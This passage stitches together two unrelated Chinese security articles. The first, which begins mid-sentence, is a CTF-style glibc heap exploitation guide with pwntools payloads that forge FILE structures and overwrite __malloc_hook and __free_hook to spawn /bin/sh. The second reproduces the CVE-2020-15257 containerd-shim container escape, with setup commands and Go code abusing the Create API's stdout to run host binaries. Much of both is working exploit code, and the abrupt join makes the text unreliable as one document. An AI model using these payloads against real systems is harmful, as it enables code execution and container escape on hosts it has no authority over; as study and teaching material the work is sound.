设置好以便过掉检查， 之后调用该函数就会 `system('/bin/sh')`
###### 利用方案举例
以 **34c3ctf-300** 为例， 程序限制只能分配 `0x310` 的 `chunk`， 这里利用 `unsorted bin`
遍历的缺陷，伪造了一个 `0x60` 的 `smallbin` ，为后续做准备。
* 首先分配 4个 `0x310` 的 `chunk （A X B K）` ，释放 `A , B` 此时 `A , B` 均进入 `unsorted bin` ,并且通过`bk` 链接起来
* 修改 `A->bk` 为 `fake_bin` 的地址，并且 设置 **fake_bin- >size=0x61 and fake_bin->bk = B**, 此时 `unsorted bin` 的链表其实 **有 3 项** 。
* 分配 一个 `0x310` 的 `chunk` ，此时 A 位于链表首部，且大小刚好，分配 A ，并且 把 fake_bin 置于链表首部
* 再次 **分配** 一个 `0x310` 的 `chunk` ， 此时 **fake_bin 位于链表首部** ，大小不够于是把 fake_bin 放到 smallbin[4] , 然后继续遍历 ，分配到 `B`， 至此 在 **smallbin[4] 就存有 fake_bin 的地址**
fake_bin 的 内容为 （从 chunk 的开始地址开始
payload = p64(0xfbad2084) #伪造的 File 结构体的开始，fp->_flag
payload += p64(0x61)
payload += p64(0xb00bface)
payload += p64(B_addr) # bk ，设置为 B 的地址
payload += p64(0x0) # fp->_IO_write_base
payload += p64(libc_base + sh_addr) # fp->_IO_write_ptr
payload += p64(libc_base + sh_addr) # fp->wide_data->buf_base
payload += "A"*60
payload += p64(0x0) # fp->_flags2
payload += "A"*36
payload += p64(fake_bin) # fp->_wide_data ，设置为 fake_bin, 复用 fake_bin
payload += "A"*24
payload += p64(0x0) # fp->_mode
payload += "A"*16
payload += p64( libc.symbols['_IO_wstrn_jumps'] + 0x10 -0x18) # fake vtable
payload += "A"*8
payload += p64(libc_base + libc.symbols['system']) # ((_IO_strfile *) fp)->_s._free_buffer
* 然后利用 `unsorted bin attack` 修改 `__IO_list_all` 为 `main_arean+88`
* 触发 `abort` （ **malloc_printerr内部会调用** ）， 就会触发 _`IO_flush_all_lockp` ,根据 `__IO_list_all` 和 `__chain` ，遍历调用 `_IO_OVERFLOW (fp, EOF)` ( 其实就是 **(fp- >vtable + 0x18)(fp, EOF)**
* `___IO_list_all->_chain` 位于 `smallbin[4]` ，所以遍历第二次可以对 `fake_bin` 进行 `_IO_OVERFLOW (fp, EOF)`，此时就会调用 **IO_wstr_finish** ， 此时 fake_bin 中的相关数据已经设置好，最后会执行 **system("/bin/sh")**
**参考**
[34c3ctf-300](http://blog.rh0gue.com/2017-12-31-34c3ctf-300/)
[Pwn with File结构体
四](http://blog.hac425.top/2018/01/13/pwn_with_file_part4.html)
##### 组合 fastbin attack
###### 方案一
* 把 `bk` 改成 `global_max_fast-0x10` 触发 `unsorted bin attack` 后， `global_max_fast`会被修改成一个很大的值（指针），所以之后的 内存 分配 和 释放 都会按 `fastbin` 来
* 之后看情况进行 **伪fastbin attack**
###### 方案二
把 `bk` 改成 **libc.symbols['__free_hook'] - 0x50** 触发 `unsorted bin attack` 后，
`free_hook` 前面就会出现 `p64(0x7f)` ,之后就可以通过 `fastbin attack` 修改 `free_hook`
**参考**
[0ctf-2016-zerostorage](http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/)
##### 结合 largebin 和 _dl_open_hook
###### 原理
在 遍历 `unsoted bin` 时， 是通过 bk 指针 进行遍历
for (;; )
{
int iters = 0;
//victim = unsorted_chunks (av)->bk
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 遍历 unsorted bin
{
bck = victim->bk;
............
............
............
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; //unsorted_chunks (av)->bk = victim->bk->bk
bck->fd = unsorted_chunks (av);
......
......
......
}
所以通过修改 `bk` 来伪造 `unsorted bin` 是可行的
同时在 遍历 `unsorted bin` 把 `chunk` 放入 `largebin` 的过程中， **也没有什么检查** ，于是可以利用 把
`chunk` 放入 `largebin` 的过程 **往 任意地址写入 chunk 的地址** 。
**PS: 因为要伪造 unsorted bin ，需要我们可以拿到 heap 的基地址**
###### 大体的思路
* 在堆上通过修改 `unsorted bin` 的 `bk` 指针 伪造几个 `unsorted bin(A B C D)，(0x400, 0x30, 0x420, 0x30)`
* 分配 `0x30` , **A 进入 largebin, B 被分配**
* 修改 **A- >bk = _dl_open_hook - 0x10 and A->bk_nextsize = _dl_open_hook - 0x20**
* 分配 `0x30` , `C` 进入 `largebin`, 会导致 `A->bk->fd = C , A->bk_nextsize->fd_nextsize = C` （其实就是 ***_dl_open_hook = C** )
* 此时`_dl_open_hook` 指针被改成 `C` 的地址， 然后在 `C` 中设置 **p64(libc.symbols['__libc_dlsym'] + 4)+p64(one_gadget)+p64(one_gadget)** ， **伪造`dl_open_hook` 结构体。**
* 后面的执行过程会调用 `_dl_open_hook`， 就会调用 `__libc_dlsym + 4`, 这里面会 **跳转到`dl_open_hook` 结构体偏移 8 的值**处 , 也就是 `one_gadget` 的地址
**参考**
[0ctf 2018 babyheap challenge
exploit](https://twitter.com/Yannayli/status/980836566368210946)
## 特定写权限的利用
### 可写 main_arean
通过一些 `fastbin` 攻击， 我们可以分配到 `main_arean`， 此时一般都是改写 `main_arean->top`
#### 转换为写 __malloc_hook
**malloc_hook -0x10** 处存放的是指针，值很大，修改 **main_arean- >top 到这里**，然后控制程序 使得通过
`top_chunk` 分配， 就可以分配到 `malloc_hook`
#### 转换为写 __free_hook
在 `free_hook-0xb58` 处存放的也是一些地址，修改 **main_arean- >top 到这里**，然后控制程序 使得通过
`top_chunk` 分配几次内存（一次分配太多，会触发 `sysmalloc`, **可以一次分配 0x90 多分配几次** ），我们就可以分配到
`free_hook`
### 可写 __malloc_hook
#### 直接写one_gadget
写入 `one_gadget` ，不过触发的时候，用 `malloc_printerr` 来触发 `malloc`
此时用下面这样的 `one_gadget` **[rsp+0x50]**
0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
这样更稳定，成功率也高
#### 通过 __realloc_hook 中转
`__malloc_hook` 和 `__realloc_hook` 是相邻的， 且 `__realloc_hook` 在 `__malloc_hook`
的前面，所以基本上可以同时修改它们。
利用 `one_gadget` 时，对于 **栈的条件会有一些要求** ，利用 `realloc` 函数内部的 跳转 到 `__realloc_hook`
之前的栈操作，加上栈中原有的数据，可以对栈进行跳转，以满足 `one_gadget` 的要求
realloc proc near ; DATA XREF: LOAD:0000000000006BA0↑o
push r15
push r14
push r13
push r12
mov r13, rsi
push rbp
push rbx
mov rbx, rdi
sub rsp, 38h
mov rax, cs:__realloc_hook_ptr #取出 __realloc_hook 指针
mov rax, [rax]
test rax, rax
jnz loc_848E8
test rsi, rsi
jnz short loc_846F5
test rdi, rdi
jnz loc_84960
代码中的 `push` 以及 `sub rsp, 38h` 都可用于对栈进行调整。
可以收先把 `__malloc_hook` 设置为 `0x6363636363636363`， 当程序断下来后， **查看栈的情况，然后选择跳转的位置**
。
最后把 `malloc_hook` 设置为选择好的位置，`realloc_hook` 设置为 `one_gadget`, 触发 `malloc`
### **可写 __free_hook**
#### 直接写one_gadget
#### 改成 system 函数的地址
然后 释放掉 内容为 `/bin/sh\x00` 的 `chunk`
### 可写 std* 结构体
`std*` 类结构体 定义是 `_IO_FILE_plus` ， `64` 为大小为 `0xe0`
#### 修改 vtable指针
##### libc <= 2.23
`_IO_FILE_plus` 的最后一个字节就是 `vtable` 指针，修改 `vtable` 指针到一个可控数据可控的地址，在地址处填上
`one_gadget` , 然后在调用一些输入输出函数时，就会触发。
如果是堆类题目可以 **修改vtable指针到 heap,** 或者如果是通过 `fastbin 攻击` 分配到了 `std*` ， 那么可以修改
**vtable 到 std* 的相应位置** ， 只要保证 **马上要被调用的函数指针我们可控** 即可
##### libc > 2.23
一般结合 `unsorted bin attack` ，改到 **libc.symbols['_IO_wstrn_jumps'] + 0x10
-0x18** ， 然后触发 `abort` 会调用 `_IO_OVERFLOW (fp, EOF)` 时就会调用 `IO_wstr_finish(fp,
EOF)` ，通过设置 `fp` 的数据，就可以 `system("/bin/sh")`.
> (: fp为文件结构体的指针
## Double Free
### 原理
程序把指针 `free` 之后没有对指针进行清空， 出现了 **悬垂指针** 。后续还可以对该指针进行 `free` 操作。
### 利用
**基于 pwnable.tw 中的 secretgard**
#### 信息泄露
总的思路 : **大块 拆成 小块**
* 分配一个 `0x120` 的 `chunk`, `p1` 指向 它。 然后释放掉他
* 分配两个 `0x90` 的 `chunk` 重用刚刚 `free` 掉的 `chunk`, 可以发现此时 `p1==p2`
* 此时再次 `free(p1)`, 在 `p2->fd` 和 `p2->bk` 会写入 `main_arean` 的地址（`free` 之后大小大于 `fastbin`的范围，进入 `unsorted bin`)
* 然后打印 `p2` 的内容就可以拿到 `libc` 的地址
#### Overlap chunk + unlink
总的思路 : **小块 融合成 大块**
* 首先分配两个 `0x90` 的 `chunk (p0, p1)` ，然后释放掉，会进行合并，形成 一个 `0x120` 的 `unsorted bin`
* 然后分配一个 `0x120` 的 `chunk (p2)` , 则 `p0=p2` ， 此时 `p0` 所在的 `chunk` 可以包含 `p1` 的 `chunk`
* 然后在 `p0` 所在的 `chunk` 伪造一个 `free chunk`， 设置好 `fd` 和 `bk` , 然后释放 `p1` 触发 `unlink`
add(0x80) # pz
add(0x80) # p0
add(0x80) # p1
add(0x80) # px
del(1)
del(2)
add(0x110) # p2
payload = p64(0) # p1's 用户区
payload += p64(0x81) # fake chunk size
payload += p64(ptr - 0x18) # fd, ptr--->p0 + header_size
payload += p64(ptr - 0x10) # bk
payload += 'a' * (0x80 - len(payload))
payload += p64(0x80) # pre_size ----- 下一个 chunk p1
payload += p64(0x80) # size 设置 pre_inused=0
payload += 'b' * 0x70
payload += p64(0x80)
payload += p64(0x21) # size 设置 pre_inused=1 ---- p1-->next_chunk, 绕过 double free 检查
edit(2,payload) # fake chunk
# p1 所在 chunk->pre_inused=0, 向前合并
# 触发 fake chunk 的 unlink
# ptr--->p0 + header_size, 实现 *ptr = ptr-0x18
del(1)
#### 修改 __malloc_hook
一般 `malloc`触发的方式，`one_gadgets` 由于限制条件不满足，很可能会失败
可以使用 `malloc_printerr` 触发， 此时恰好 **[esp+0x50]=0**
**__malloc_hook - 0x23 + 0x8** 的 内容为 **0x000000000000007f** ， 可以用来绕过 `fastbin`
分配的检查
可以 `gdb + hexdump` 找到类似的位置来伪造 `fastbin`
##### Overlap Chunk + Fastbin Attack
总的思路 : **小块 融合成 大块， 分配大块操纵小块**
* 首先分配两个 `0x90` 大小 的 `chunk (p0, p1)`
* 释放掉它们，合并成一个 `0x120` 的 `unsorted bin`
* 分配 `0x120` 的 `chunk (p3)` , **p3==p1** , 而且此时通过 `p3` 可以修改 **p2 的 chunk** ， **Overlap Chunk完成**
* 修改 `p->size = 0x71` **p = p2-0x10** ， `p`为 `p2` 所在 **chunk的地址**
* 修改 **p + 0x70** 为 **p64(0x70) + p64(0x41)** , 设置 **pre_inused =1** , 使得后面 **free(p2)** 绕过`double free`检测
* 此时 `free(p2)` , `p2` 进入 `0x70` 大小的 `fastbin`
* 再次 `free(p1)`（此时 `p1` 所在 `chunk` 的 `size` 为 `0x120`)， 得到一个 `0x120` 的 `unsorted bin`
* 再次分配 `0x120` 的 `chunk (p4)` , **p4==p1**
* 通过 `p4` 可以修改 `p2` 指向的 `chunk` 的 `fd` 为 `__malloc_hook - 0x23` (此时 `p2` 的 `chunk` 已经在 `0x70` 的 `fastbin` 里面)
* **Fastbin Attack** 开始，分配两次，可以得到 **p6 = __malloc_hook -0x13**
* 然后修改 **__malloc_hook**
##### Overlap chunk + fastbin attack + 修改 top chunk
* 首先通过上面的 `Overlap chunk` 我们可以修改 `p2` 的 `chunk` 的内容
* 修改 chunk->size = 0x41 , **注意设置 好 chunk- >nextchunk 的 pre_inused 位 避免过不了 double free 检查**
* `free(p2)` , 此时 `p2` 的 `chunk` 进入 `0x40` 的 `fastbin`
* `free(p3)` ，`malloc(0x110)` , 可以再次修改 `p2 chunk` , 修改 **chunk- >size = 0x41 and chunk->fd = 0x71**
* `malloc(0x30)` ，此时 **main_arean- >fastbinY 中会有一项 的 值 为 p64(0x71)**
* 再次 `free(p3)`， `malloc(0x110)`，修改 **p2 chunk, chunk- >size = 0x71**
* `free(p2)` , 此时 `p2` 的 `chunk` 进入 `0x70` 的 `fastbin`
* `free(p3)`， `malloc(0x110)`，修改 `p2 chunk`, 设置 **chunk- >size = 0x71 and chunk->fd = 0x40 fastbinY 的地址附近**
* 分配两次 `0x70` 的 `chunk`, 可以修改 **main_arean- >top 为 __malloc_hook -0x10 (这里存的指针，值很大)**
* 然后使用 `top chunk` 进行分配， 就可以拿到 `__malloc_hook`
##### Fastbin dup+ Fastbin Attack
在把释放的块放进`fastbin` 时，会检测也 **只检测** 当前 **free 的 chunk 和 fastbin 第一项** 是否相同 ，
如果相同则报 `double free` 的错误。
* 首先 分配 `2` 个 `0x70` 的 `chunk , p0, p1`
* 释放 `p0`, `p0` 进入 `0x70` 大小的 `fastbin`, 此时 `p0` 为第一项
* 释放 `p1`, `p1` 进入 `0x70` 大小的 `fastbin`, 此时 `p1`为第一项， **p1- >fd = p0**
* 再次释放 `p0`, 此时 `p1`为 `fastbin` 的 第一项， **不会报错** ，`p0` 进入 `fastbin`, 此时 `p0` 为第一项
* 分配 `0x70` 的 `chunk p2`, **p2==p0** , 设置 **p2- >fd = __malloc_hook - 0x23**， **其实就是修改 p0- >fd**
* 此时 **__malloc_hook - 0x23** 成为 **0x70 fastbin** 的第 **3** 项
* 分配三个 **0x70** 的 **chunk p3, p4, p5** ， **p5==__malloc_hook - 0x13**
* 通过 `p5` 修改 `__malloc_hook`
#### 修改 __free_hook
因为 `free_hook` 上方很大一块空间都是 `\x00`, 所以使用 `fastbin attack` 直接来修改它基本不可能，可以迂回一下，在
`free_hook-0xb58` 位置会存一些指针，我们通过 `fastbin attack` 修改 `main_arean->top`, 到这里然后多用
`top_chunk` 分配几次，就可以分配到 `free_hook`, 然后该 `free_hook` 为 `system` 。
##### Fastbin dup + Fastbin Attack 修改 main_arean->top
* 首先利用 `Fastbin dup` 我们可以拿到实现修改 `fastbin` 中的块的 `fd`
* 由于在 `fastbin` 中 如果为空，其在 `main_arean->fastbinY` 里面对应的值为 `0x0` , 而堆的地址基本 是 `0x5x` 开头的（其在内存就是 `xx xx..... 5x`)， 此时如果在 `main_arean->fastbinY` 的 相邻项为 `0x0` , 就会出现 `5x 00 00 00...` , 所以就可以出现 `0x000000000000005x` ，可以把它作为 `fastbin` 的 `size` 进行 `fastbin attack` ， **不过作为 fastbin attack 的 size 不能 为 0x55**
* 然后我们就可以修改 `main_arean->top` 为 `free_hook-0xb58`
* 之后多分配几次， 既可以分配到 `free_hook`
* 改 `free_hook` 为 `system`
* `free` 掉一个 内容为 `/bin/sh\x00` 的块
#### 修改 _IO_FILE_plus 结构体 的 vtable
在 `libc 2.24` 以下可修改 `_IO_FILE_plus` 的 `vtable` 指针到我们可控的位置，进行虚表的伪造。
**参考**
[Pwnable.tw secretgard](http://tacxingxing.com/2018/02/20/pwnabletw-secretgarden/)
## off by one
### 原理
在一些情况下我们可以往指定的 `buf` 中多写入 `1` 个字节的数据 ，这就是 `off by one` . 这种情况下可以进行利用的原因在于 调用
`malloc` 分配内存是要 对齐的， **64 位 0x10 字节对齐， 32 位 8 字节对齐** ，下面均以64位进行说明。 **如果
malloc(0x28) 则会分配`0x30` 字节的 chunk, 除去 0x10 的首部， 我们有 0x20 然后加上下一个 chunk 的
pre_size ，我们就有 0x28 了**， 我们知道 `pre_size` 后面紧跟着就是 `size` ，所以利用 `off by one` 可以
修改 下一个 `chunk` 的 `size` 字段，同时 在 **glibc 中的内存管理 非常依赖这个 size 字段**
，所以我们可以利用它做一些有趣的事情。
所以 **当程序中有类似这种不对齐的分配， 就要小心 off by one**
### 利用
#### 普通off by one
在这种情况下，溢出的那个字节不受限制，此时的利用思路就是，多分配几个 `chunk` ，然后利用第一个来溢出修改第二个 `chunk` 的 `size`（
**改大** ）, 然后 `free(chunk_2)` , 就可以 `overlap chunk 3`, 要非常注意 in_used 位的设置
##### 溢出 used 状态的 chunk
在 `free` 时可以获得包含 `chunk` 的 `unsorted bin`
##### **溢出 free 状态的 chunk**
因为`malloc` 再分配内存时 不会校验 `unsorted bin` 的 `size` 是否被修改
[Glibc_Adventures-The_Forgotten_Chunks](http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf)
**基于 0ctf 2018 babyheap**
##### 信息泄露
* 首先malloc 4 个 chunk, malloc(0x18)
allocate(0x18) # 0, 0x20 chunk
allocate(0x38) # 1, 0x40 chunk----> 溢出修改为 0x91
allocate(0x48) # 2, 0x50 chunk
allocate(0x18) # 3, 0x20 chunk
* 然后在 **chunk 0 溢出一个字节，修改 chunk 1 的 size 位 为 0x91 (原来应该为 0x41)** ，这样一来 通过 `chunk 1` 索引到的 下一个 `chunk` 就是 **p + 0x90 = chunk 3** (设`p` 为 `chunk 1`的地址)
* 此时 释放 `chunk 1`, `libc`会根据下一个 `chunk` ( **这里也就是 chunk3** ) 的 `pre_inused` 位来检查是否`double free`, 由于 `chunk2` 原来并没有被释放，所以 `pre_inused =1` ，于是可以过掉检查， 此时得到一个 `0x90` 的 `unsorted bin` , 同时 `chunk2` 在 这个 `unsorted bin`里面， **overlap chunk 2**
* 此时再次 `malloc(0x38)` ， 会使用 `unsorted bin` 进行 **切割** ， 所以 在 `chunk 2` 的 **fd, bk 处会写入 main_arean 的 地址** ， 打印 `chunk 2` 的内容就可以 `leak libc`
##### 漏洞利用
其实可以 `overlap chunk` 了，就相当于获得了 `堆溢出` 的能力，我们可以任意修改 `chunk` 的数据，此时可以使用 `unlink`,
`unsorted bin attack`, `fastbin attack`。 没有限制内存分配的大小，使用 `fastbin attack` 即可
###### unlink
这种情况下的 `unlink` 应该比较简单，在当前 `chunk` 伪造好 `fd, bk` 然后利用 `off by one` 修改 下一个
`chunk` 的 `pre_size` (由于不对齐的分配，这个区域其实属于当前 chunk ) 和 `size`的 `pre_inused` 为
`0`， 然后 `free` 掉下面那个 `chunk` ，就可以触发 `unlink` 了
#### off by null
在这种情况下，我们只能溢出 `\x00` 字节， 所以会把 `size` 变小 同时 `inused` 位 会被设置为 `0`
##### unlink
`B + 0x100` 处要设置好 `p64(xxx) + p64(0x41)` 关键是 **pre_inused** 位 ， `free`
的时候会检测这个位
##### shrink free chunk size
###### 布局过程
* 首先分配 `3` 个 `chunk (A B D)` , 大小分别为 `0x110 , 0x210, 0x110`
* 然后 释放 `B` ， 此时 **D- >pre_inused = 0 and D->pre_size = 0x210**
* 修改 `B+0x200` 处 为 `p64(0x200)` ，绕过新版 libc 的 **chunksize(P) != prev_size (next_chunk(P))** 检查
* 然后分配两个 `chunk (P, K)`, 大小为 `0x110, 0x90`
* 释放掉 `P` , 此时 `P` 会进入 `unsorted bin` , **fd, bk 是有效的** **， 原因是 后面合并 D 时需要 unlink**
* 释放 `D` , 发现 `D->pre_inused=0`, 说明前一个 `chunk` 已经 `free`, 需要合并。 根据 `pre_size` 找到 `P` , 然后 `unlink(P)` 合并得到一个 `0x330` 的 `unsorted bin`， 此时 `K` 位于 `unsorted bin` 内部， **overlap chunk done**
###### 布局过程中的一些 tips
* 在第三步 ，释放 B 之前把 `B+0x200` 处 设置 `p64(0x200)` ， 因为新版的 `libc` 会检验 `chunksize(P) != prev_size (next_chunk(P))`
* `off by null` 缩小 `B` 以后，分配 `P` 其大小不能再 `fastbin` 的范围内，后面释放 `D` 需要向前合并，会进行 `unlink` 操作，所以大小 大于 `fastbin` ， `free(P)`后 `P` 会进入 `unsorted bin` ，此时他的 `fd` , `bk` 都是正常的，正常 `unlink` 。
**参考**
[how2heap](https://github.com/shellphish/how2heap)
##### 修改 pre_inused + 向前合并
###### **方案一**
* 首先分配 `4` 个 `chunk (A B C D)` , 大小分别为 `0x100, 0x100, 0x100, 0x80`. 最后那个用于防止 `top_chunk` 合并
* 然后释放 `A` , 此时 `A` 进入 `unsorted bin` , 生成了有效的 `FD` 和 `BK`，为了 **可以在后面的融合中成功 unlink**
* 然后利用 `off by null` , **设置 C 的 pre_size 和 pre_inused** 。
* 释放 `C` , 系统 根据 **C 的 pre_size 找到 A 进行合并** ，首先 `unlink(A)` 因为 `A` 已经在 `unsorted bin`，不会出错，然后就会有一个 `0x300` 的 `unsorted bin` , 此时 `B` 位于 该 `unsorted bin` 的 中间
###### 方案二
如果程序限制只能在触发 `off by null` 之后才能 释放 `A` ，需要在 `A` 和 `B` 之间多分配一个内存块 **x（0x20)** ,
原因是 触发 `off by null` 后 `B` 被标识 **已经 free** , 那么此时再 释放 `A` 就会对 `B` 进行 `unlink`
，此时 `B` 中 `fd` 和 `bk` 是过不了 检查的（ **B已经分配，并已经被用来进行 off by null** ) 。
**参考**
[Libc堆管理机制及漏洞利用技术](http://www.freebuf.com/articles/system/91527.html)
## 总结
对于堆相关的漏洞，不论是 堆溢出，double free, off by one ，uaf 等其最终目的都是为了修改 `chunk` 的一些管理结构 比如
`fd,bk`, 然后在后续的堆管理程序处理中实现我们的目的（代码执行）。
**堆溢出**
直接可以修改 下一个 `chunk` 的 元数据 ，然后就是 `unsorteb bin attack` , `fastbin attack` 等攻击手法了
**double free**
利用一些内存布局，可以实现 `overlap chunk` ,最后也是实现了 可以修改 `chunk` 的元数据
**off by one**
类似于 `double free` ，实现 `overlap chunk` 然后改 `chunk` 元数据 | 社区文章 |
## 基础知识
容器一共有7个攻击面：Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language
VM、User Code、Container(Docker) engine。
Dockerd实际调用的是containerd的API接口，containerd是Dockerd和runc之间的一个中间交流组件，主要负责容器运行、镜像管理等。containerd向上为Dockerd提供了gRPC接口，使得Dockerd屏蔽下面的结构变化，确保原有接口向下兼容；向下，通过containerd-shim与runc结合创建及运行容器。
docker 的内部通信图：
### OCI Bundle
OCI Bundle 是指满足OCI标准的一系列文件，这些文件包含了运行容器所需要的所有数据，它们存放在一个共同的目录，该目录包含以下两项：
（1）config.json：包含容器运行的配置数据
（2）container的root filesystem
## 环境搭建
### 漏洞复现环境搭建
host 环境：
osboxes@osboxes:~/study/vul/docker-15257$ uname -a
Linux osboxes 4.15.0-47-generic #50-Ubuntu SMP Wed Mar 13 10:44:52 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
osboxes@osboxes:~/study/vul/docker-15257$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
（1）安装 18.09 版本的docker：
参考链接：<https://bbs.huaweicloud.com/forum/thread-59673-1-1.html>
wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar xvpf docker-18.09.0.tgz
sudo cp -p docker/* /usr/bin
配置docker.service文件 :
cat >/lib/systemd/system/docker.service <<EOF
[Unit]
Description=Docker Application Container Engine
Documentation=http://docs.docker.com
After=network.target docker.socket
[Service]
Type=notify
EnvironmentFile=-/run/flannel/docker
WorkingDirectory=/usr/local/bin
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
ExecReload=/bin/kill -s HUP $MAINPID
# Having non-zero Limit*s causes performance problems due to accounting overhead
# in the kernel. We recommend using cgroups to do container-local accounting.
LimitNOFILE=infinity
LimitNPROC=infinity
LimitCORE=infinity
# Uncomment TasksMax if your systemd version supports it.
# Only systemd 226 and above support this version.
#TasksMax=infinity
TimeoutStartSec=0
# set delegate yes so that systemd does not reset the cgroups of docker containers
Delegate=yes
# kill only the docker process, not all processes in the cgroup
KillMode=process
Restart=on-failure
[Install]
WantedBy=multi-user.target
EOF
启动相关服务，输出Docker的状态:
systemctl daemon-reload
systemctl status docker
systemctl restart docker
systemctl status docker
systemctl enable docker
（2）安装1.3.7 版本的containerd
sudo apt install containerd.io=1.3.7-1
安装完后的版本信息为：
（3）安装go：
sudo apt install golang
（4）安装ubuntu docker 镜像：
sudo docker pull ubuntu:18.04
ubuntu docker 镜像拉取：
[https://hub.docker.com/_/ubuntu?tab=tags&page=1&ordering=last_updated](https://hub.docker.com/_/ubuntu?tab=tags&page=1&ordering=last_updated)
（5）运行docker：
sudo docker run -ti --rm --network=host b205c8547463
（6）下载poc， 编译：
wget https://raw.githubusercontent.com/summershrimp/exploits-open/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257/shim.pb.go
go mod init example.com/poc
go build .
（7）搭建环境中记录的命令：
export GO111MODULE=on
go mod init example.com/m
编译v1 版本还是v2 版本：
Example usage:
'go mod init example.com/m' to initialize a v0 or v1 module
'go mod init example.com/m/v2' to initialize a v2 module
<https://blog.csdn.net/benben_2015/article/details/82227338>
进入同一个docker：
sudo docker exec -it 17ca27eb15e1 sh
保存docker 修改：
sudo docker commit container_id ubuntu-poc
安装特定版本的docker：
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
安装指定版本的docker CE 列出版本，版本号从高到低
sudo apt-cache madison docker-ce
sudo apt-get install docker-ce=18.03.0~ce-0~ubuntu
解决sh: 1: Syntax error: Bad fd number 报错：
rm -f /bin/sh
ln -sf /bin/bash /bin/sh
## 漏洞分析
containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过
containerd 完成的。它向上为 Docker Daemon 提供了 gRPC 接口，向下通过 containerd-shim 结合
runC，实现对容器的管理控制。
而中间的 containerd-shim 夹杂在 containerd 和 runc 之间，每次启动一个容器，都会创建一个新的 containerd-shim 进程，它通过指定的三个参数：容器 id、bundle 目录、运行时二进制文件路径，来调用运行时的 API
创建、运行容器，持续存在到容器实例进程退出为止，将容器的退出状态反馈给 containerd。
漏洞成因：docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字：
执行以下命令，可以获取containerd-shim 监听的 Unix 域套接字：
cat /proc/net/unix | grep 'containerd-shim' | grep '@'
0000000000000000: 00000002 00000000 00010000 0001 01 65874 @/containerd-shim/067284ce2b310632459fd11fd3bfa296670c2eacd7abfbadf07ddd6ea580f7d9.sock@
0000000000000000: 00000003 00000000 00000000 0001 03 66673 @/containerd-shim/067284ce2b310632459fd11fd3bfa296670c2eacd7abfbadf07ddd6ea580f7d9.sock@
@/containerd-shim/{sha256}.sock 这一类的抽象 Unix 域套接字，没有依靠 mnt
命名空间做隔离，而是依靠网络命名空间做隔离。攻击者可以通过操作containerd-shim API 进行逃逸。
可调用的api如下：
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
rpc Wait(WaitRequest) returns (WaitResponse);
}
## 漏洞利用
利用containerd-shim Create API， 相当于执行runc create , 读取config.json 的配置，创建一个新容器。
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
**CreateTaskRequest** 的 **stdout参数** ，支持各种协议：
可以通过构造stdout 执行host上的二进制程序：
r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
ID: docker_id,
Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
Runtime : "io.containerd.runtime.v1.linux",
Stdin: "anything",
Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
Stderr: "anything",
Terminal : false,
Checkpoint : "anything",
})
所以我们在调用Create API前需要获取以下两个信息：
a、获取host上 docker的存储路径
root@osboxes:/# head -n 1 /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/LDRBK2BJC6VNVJIT3YWTX6KVVP:/var/lib/docker/overlay2/l/UZ4MNERQAY27L5SQHQF3QQ5LIQ:/var/lib/docker/overlay2/l/OMSEU276YHCMU7VZ77HDXMGHRL:/var/lib/docker/overlay2/l/SE23IRB2JDCIVNAZ7HCAVRXYMF:/var/lib/docker/overlay2/l/U57I52XHIDYPI7XUW6YYFRPQVE,upperdir=/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/diff,workdir=/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/work 0 0
b、获取docker id
root@osboxes:/# cat /proc/self/cgroup
12:perf_event:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
11:net_cls,net_prio:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
10:devices:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
9:pids:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
8:cpuset:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
